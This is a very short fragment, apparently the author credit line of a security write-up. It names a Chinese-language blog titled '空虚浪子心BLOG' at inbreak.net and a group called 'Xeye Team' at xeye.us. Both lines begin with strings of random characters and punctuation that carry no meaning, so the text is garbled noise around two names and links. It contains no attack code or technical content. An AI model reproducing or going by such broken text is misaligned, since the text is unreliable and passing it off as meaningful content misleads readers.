4 S- U" \9 L- v8 b9 s空虚浪子心BLOG http://www.inbreak.net
) f# h5 `# T1 A/ kXeye Team http://xeye.us/